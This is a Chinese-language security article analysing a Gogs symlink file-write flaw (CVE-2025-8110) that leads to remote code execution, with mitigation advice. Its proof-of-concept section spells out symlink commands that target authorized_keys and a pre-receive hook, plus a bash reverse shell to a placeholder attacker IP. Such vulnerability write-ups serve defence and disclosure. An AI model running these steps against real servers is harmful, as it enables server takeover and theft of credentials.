当前位置：首页 > news >正文

穿透版本控制的防线：Gogs 符号连接致远程代码执行漏洞 (CVE-2025-8110) 深度剖析

news 2026/6/2 7:51:07

发布时间：2025年2月涉及组件：Gogs (Go Git Service)漏洞类型：任意文件写入 / 远程代码执行 (RCE)危害等级：严重 (Critical)

1. 漏洞概述

Gogs 是一款极受欢迎的、自托管的轻量级 Git 服务，使用 Go 语言编写。由于其部署简单、资源占用低，被广泛应用于中小型企业及个人开发者团队中。

CVE-2025-8110揭示了 Gogs 在处理 Git 仓库文件操作（特别是文件上传和在线编辑功能）时存在严重逻辑缺陷。攻击者可以通过构造包含恶意**符号连接（Symbolic Link）**的仓库，欺骗 Gogs 服务器将文件内容写入到仓库目录之外的任意位置。通过覆盖系统关键文件（如 SSH 密钥文件）或 Git 钩子（Hooks），攻击者可直接获取服务器的 Shell 权限，实现 RCE。

2. 技术背景：符号连接与 Git

在深入漏洞之前，我们需要理解两个核心概念：

符号连接 (Symlink)：在 Linux/Unix 文件系统中，符号连接是一个指向另一个文件或目录的特殊文件（类似于 Windows 的快捷方式）。如果程序在读写文件时没有检查该文件是否为软连接，它可能会无意中操作软连接指向的目标文件，而不是软连接本身。
Git 的文件模式： Git 能够存储文件的权限和类型信息。符号连接在 Git 对象数据库中以特殊的 blob 形式存储，其内容是目标路径，文件模式通常标记为120000。

3. 漏洞原理分析

漏洞的核心在于 Gogs 的 Web 界面提供的**“文件上传”或“在线编辑”**功能与底层文件系统操作之间的脱节。

3.1 攻击路径

攻击流程利用了 Gogs 在处理用户通过 Web UI 更新文件时的逻辑漏洞：

阶段一：埋雷攻击者在本地创建一个 Git 仓库，并创建一个指向服务器敏感路径的符号连接。例如，创建一个名为exploit_link的软连接，指向/home/git/.ssh/authorized_keys（如果是 SSH 攻击）或者指向仓库自身的hooks/pre-receive（如果是 Hook RCE 攻击）。攻击者将这个包含软连接的仓库推送到 Gogs 服务器。此时，服务器上只是存储了这个软连接文件，尚未造成危害。
阶段二：引爆攻击者登录 Gogs 的 Web 界面，进入该仓库，找到exploit_link文件。正常情况下，Web 界面应该显示这是一个链接，或者禁止编辑。然而，漏洞在于 Gogs 的处理逻辑（通常位于routers/repo/file.go或类似的文件处理模块）在接收用户“更新文件”或“上传同名文件”的请求时：
- 没有充分验证目标路径是否解析到了仓库外部。
- 没有使用Lstat检查目标是否为符号连接，而是直接使用了类似os.OpenFile或ioutil.WriteFile的操作。
阶段三：越界写入当服务器执行写入操作时，操作系统会自动跟随exploit_link指向的路径。于是，攻击者上传的恶意内容（如一个新的 SSH 公钥或 Shell 脚本）并没有覆盖exploit_link本身，而是覆盖了/home/git/.ssh/authorized_keys。

3.2 代码逻辑缺陷 (伪代码示例)

易受攻击的代码逻辑通常如下所示：

// 假设这是处理文件更新的逻辑 func UpdateFile(repoPath string, fileName string, content []byte) error { // 拼接完整路径 fullPath := filepath.Join(repoPath, fileName) // 漏洞点：直接打开文件进行写入，未检查 fullPath 是否是一个 Symlink // 如果 fullPath 是一个指向 /etc/passwd 的软连接，这里就会写入 /etc/passwd f, err := os.OpenFile(fullPath, os.O_RDWR|os.O_TRUNC, 0666) if err != nil { return err } defer f.Close() _, err = f.Write(content) return err }

在修复后的版本中，开发者通常会加入filepath.EvalSymlinks来检查最终路径是否溢出了允许的根目录（Repo Root）。

4. 漏洞复现与利用场景 (PoC 思路)

场景 A：覆盖 SSH 公钥 (获取 Shell)

这是最直接的提权方式，前提是 Gogs 使用系统 SSH 服务运行。

构造软连接：

Bash

ln -s /home/git/.ssh/authorized_keys my_key_link git add my_key_link git commit -m "Add symlink" git push

Web 端操作：在 Gogs 网页端打开my_key_link，点击“编辑”。
写入 Payload：将内容替换为攻击者的 SSH 公钥 (ssh-rsa AAAAB3NzaC...)。
保存：保存更改。此时服务器的authorized_keys被覆盖。
登录：ssh git@target-server，直接获得服务器权限。

场景 B：劫持 Git Hooks (RCE)

如果无法覆盖 SSH 密钥（例如权限限制），攻击者可以利用 Git 的钩子机制。

构造软连接：指向当前仓库的 hooks 目录（通常位于repo.git/hooks）。
Bash
```
ln -s .git/hooks/pre-receive exploit_hook git add exploit_hook git push
```
注意：目标路径需要根据 Gogs 在服务器上的存储结构进行猜测或推断。
Web 端操作：编辑exploit_hook文件。
写入 Payload：写入 Shell 脚本，例如反弹 Shell：
Bash
```
#!/bin/sh bash -i >& /dev/tcp/attacker_ip/4444 0>&1
```
触发 RCE：在本地再次执行git push操作。服务器在处理 push 请求时会触发pre-receive钩子，从而执行恶意脚本。

5. 危害与影响

完全系统接管：攻击者以运行 Gogs 进程的用户身份（通常是git或root）执行任意代码。
数据泄露：攻击者可以读取服务器上的配置文件（如app.ini），获取数据库密码等敏感信息。
横向移动：利用获取的 Shell 权限攻击内网其他服务。

6. 修复方案

6.1 官方补丁

请立即升级 Gogs 到修复了 CVE-2025-8110 的最新版本。官方修复通常包含对文件写入操作前的Lstat检查，确保不会跟随符号连接，或者强制在写入前删除原文件。

6.2 临时缓解措施

如果无法立即升级，建议采取以下措施：

禁用在线编辑与上传：在custom/conf/app.ini配置文件中，禁用 Web 编辑器和文件上传功能，切断攻击入口。
使用 Docker 隔离：确保 Gogs 运行在 Docker 容器中，且不要将宿主机的敏感目录（如/root/.ssh）直接挂载进容器。这可以将危害限制在容器内部。
权限控制：确保运行 Gogs 的系统用户权限最小化，无法写入/etc或其他关键系统目录。